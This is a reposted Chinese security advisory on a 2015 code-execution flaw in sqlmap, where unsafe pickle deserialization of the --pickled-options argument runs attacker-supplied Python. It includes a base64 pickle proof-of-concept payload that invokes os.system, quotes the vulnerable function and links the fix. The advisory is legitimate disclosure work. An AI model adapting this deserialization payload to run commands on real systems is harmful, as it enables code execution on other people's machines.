转载

Sqlmap 代码执行漏洞报告

Author: Nixawk (知道创宇404安全实验室)

Date: 2015-12-09

一、漏洞概述

于2015年01月27日, 我在阅读最新版本Sqlmap代码时,发现其存在代码执行问题。安全问题由python的pickle导致。

pickle 模块实现了一个基础而强劲的算法,用于序列化和反序列化Python对象结构,常用于跨平台及网络应用。在进行反序列化操作时,pickle会执行精心构造的python代码。

二、漏洞演示

1.代码执行

测试数据:

python sqlmap.py --pickled-options "Y29zCnN5c3RlbQooUydkaXInCnRSLg=="
python sqlmap.py--pickled-options"Y29zCnN5c3RlbQooUydkaXInCnRSLg==" 

测试结果:

Sqlmap 代码执行漏洞报告

2.代码分析

存在代码执行问题的代码文件如下:

Sqlmap 代码执行漏洞报告

/path/to/sqlmap/lib/core/convert.py 文件中的  base64unpickle 函数为例,进行说明。经过分析,我们可以清晰了解,恶意数据可通过参数 --pickled-options 传入 S qlmap ,流程如下:

Sqlmap 代码执行漏洞报告

恶意数据通过参数  --pickled-options  传入  base64unpickle ,函数解码数据时, 执行 Python 代码。

59 def base64unpickle(value):  60 """  61 Decodes value from Base64 to plain format and deserializes (with pickle) its content  62  63 >>> base64unpickle('gAJVBmZvb2JhcnEALg==')  64 'foobar'  65 """  66  67 retVal = None  68  69 try:  70 retVal = pickle.loads(base64decode(value))  71 except TypeError:  72 retVal = pickle.loads(base64decode(bytes(value)))  73  74 return retVal
59defbase64unpickle(value): 60""" 61 Decodes value from Base64 to plain format and deserializes (with pickle) its content  62  63 >>> base64unpickle('gAJVBmZvb2JhcnEALg==')  64 'foobar'  65 """ 66 67retVal=None 68 69try: 70retVal=pickle.loads(base64decode(value)) 71exceptTypeError: 72retVal=pickle.loads(base64decode(bytes(value))) 73 74returnretVal 

pickle 漏洞触发演示:

Sqlmap 代码执行漏洞报告

三、修复补丁

更新到 Sqlmap 最新版,相关补丁 commit 信息:

https://github.com/sqlmapproject/sqlmap/commit/31d250f98e087585dad3af58ff00ca90d143676

四、英文详情

《Sqlmap Code Execution Vulnerability》

参考

  • https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf
  • https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_WP.pdf
  • https://docs.python.org/2/library/pickle.html
  • https://blog.nelhage.com/2011/03/exploiting-pickle/
  • https://github.com/sqlmapproject/sqlmap/issues/1592
  • https://github.com/sqlmapproject/sqlmap/issues/1599
  • https://github.com/sqlmapproject/sqlmap/commit/31d250f98e087585dad3af58ff00ca90d1436760
  • https://www.sebug.net/vuldb/ssvid-90021
正文到此结束
Loading...